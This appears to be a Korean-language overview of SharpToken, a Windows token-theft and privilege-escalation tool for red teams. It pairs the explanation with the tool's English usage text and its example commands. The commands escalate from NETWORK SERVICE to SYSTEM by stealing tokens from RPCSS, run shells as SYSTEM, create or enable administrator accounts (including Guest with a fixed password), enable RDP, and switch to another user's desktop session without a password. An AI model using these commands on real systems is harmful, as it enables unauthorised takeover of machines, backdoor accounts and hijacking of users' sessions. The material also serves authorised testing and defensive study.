
Windows 토큰 탈취 및 권한 상승 도구: 프로세스에서 유출된 토큰을 훔쳐서 SYSTEM 수준 액세스, 사용자 가장, 비밀번호 없이 데스크톱 전환을 가능하게 합니다.
레드팀이 수평 이동을 할 때, 다른 사용자의 권한을 탈취해야 하는 경우가 많습니다. 현대적인 EDR의 방어 아래에서는 Mimikatz를 사용하여 다른 사용자 권한을 얻기가 어렵고, 대상 사용자의 프로세스가 살아 있지 않으면 "OpenProcessToken"을 사용하여 토큰을 탈취할 방법이 없습니다.
SharpToken은 토큰 누출을 악용하기 위한 도구입니다. 시스템의 모든 프로세스에서 누출된 토큰을 찾아 사용할 수 있습니다. 낮은 권한의 서비스 사용자라면 이를 사용하여 "NT AUTHORITY\SYSTEM" 권한으로 상승시킬 수 있으며, 대상 사용자의 비밀번호 없이 대상 사용자의 데스크톱으로 전환하여 더 많은 작업을 수행할 수 있습니다...

SharpToken By BeichenDream
=========================================================
Github : https://github.com/BeichenDream/SharpToken
If you are an NT AUTHORITY\NETWORK SERVICE user then you just need to add the bypass parameter to become an NT AUTHORIT\YSYSTEM
e.g.
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass
Usage:
SharpToken COMMAND arguments
COMMANDS:
list_token [process pid] [bypass]
list_all_token [process pid] [bypass]
add_user <username> <password> [group] [domain] [bypass]
enableUser <username> <NewPassword> [NewGroup] [bypass]
delete_user <username> [domain] [bypass]
execute <tokenUser> <commandLine> [Interactive] [bypass]
enableRDP [bypass]
tscon <targetSessionId> [sourceSessionId] [bypass]
example:
SharpToken list_token
SharpToken list_token bypass
SharpToken list_token 6543
SharpToken add_user admin Abcd1234! Administrators
SharpToken enableUser Guest Abcd1234! Administrators
SharpToken delete_user admin
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass
SharpToken execute "NT AUTHORITY\SYSTEM" cmd true
SharpToken execute "NT AUTHORITY\SYSTEM" cmd true bypass
SharpToken tscon 1
일반적인 토큰 탈취 권한 상승 외에도 SharpToken은 Bypass를 통해 무결성(integrity)이 있는 토큰을 획득하는 것을 지원합니다.
NT AUTHORITY\NETWORK SERVICE 사용자이고 bypass 매개변수를 추가하면 SharpToken이 RPCSS에서 시스템 토큰을 탈취합니다. 즉, 무조건 NT AUTHORITY\NETWORK SERVICE에서 NT AUTHORITY\SYSTEM으로 상승됩니다.

열거된 정보에는 SID, LogonDomain, UserName, Session, LogonType, TokenType, TokenHandle (Duplicate 후 토큰의 핸들), TargetProcessId (토큰이 유래된 프로세스), TargetProcessToken (원본 프로세스의 토큰 핸들), Groups (토큰 사용자가 속한 그룹)이 포함됩니다.
SharpToken list_token

SharpToken list_token 468

execute "NT AUTHORITY\SYSTEM" cmd true

SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"

SharpToken add_user admin Abcd1234! Administrators
SharpToken enableUser Guest Abcd1234! Administrators
SharpToken delete_user admin
여기서 1은 대상 사용자의 데스크톱이고, 2는 우리가 수신할 데스크톱입니다.
SharpToken tscon 1 2
https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
https://github.com/decoder-it/NetworkServiceExploit